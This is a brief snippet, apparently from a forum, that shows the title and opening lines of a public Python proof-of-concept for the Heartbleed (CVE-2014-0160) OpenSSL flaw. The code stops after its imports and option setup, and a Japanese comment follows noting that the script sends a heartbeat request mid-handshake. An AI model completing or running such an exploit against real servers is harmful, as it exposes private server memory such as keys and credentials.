OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure

#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') opt

[nekoruri]

これ見る限り、がっつりServerHello帰ってきた直後のハンドシェイク中にHeartbeatRequest送ってるなｗ